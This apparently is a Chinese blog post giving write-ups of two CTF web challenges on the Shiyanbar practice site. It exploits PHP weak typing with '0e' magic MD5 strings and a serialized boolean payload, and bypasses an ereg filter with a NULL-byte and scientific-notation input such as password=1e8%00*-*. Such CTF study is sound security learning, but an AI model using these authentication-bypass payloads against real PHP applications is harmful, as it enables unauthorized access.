CTF web 201808

实验吧--天网管理系统

考察点:md5特性、反序列化漏洞,php布尔弱类型

查看源码,发现

表示username的md5值==0,这里利用了md5的一个漏洞,凡是0e开头的字符串会被解释为0,百度一下即可

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020

得到新链接/user.php?fame=hjkleffifer

这是一个反序列化问题,根据提示,可能跟布尔值有关,

bool的true和任意字符串弱类型相等 


所以构造的user(bool)和password(bool)的值为true即可。

1 <?php
2 $payload = array('user'=>true,'pass' => true);
3 echo serialize($payload);
4 ?>

得到结果:

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

将其作为password,即可得到flag

 

 实验吧--Once More

发现代码:

<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
?>

查看代码发现,首先ereg判断password的值是不是数字或字母,继续strlen()限制了长度小于8并且大小必须大于9999999,继续strpos()对password进行匹配,必须含有*-*,最终才输出flag

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是e,也就是1.99714e13=19971400000000,所以构造1e8即100000000 > 9999999,再加上*-*。于是乎构造password=1e8%00*-*,成功得到答案

方法二:直接将url改为http://ctf5.shiyanbar.com/web/more.php?password[]

因为在这里如果 $_GET[‘password’]为数组,则返回值为NULL ,而在严格比较下,null不等于false

附:php类型比较表  http://php.net/manual/zh/types.comparisons.php

  php函数漏洞集合  https://blog.csdn.net/qq_35078631/article/details/75200157

posted on 2018-08-22 22:41  IAmGroot!  阅读(282)  评论(0编辑  收藏  举报

导航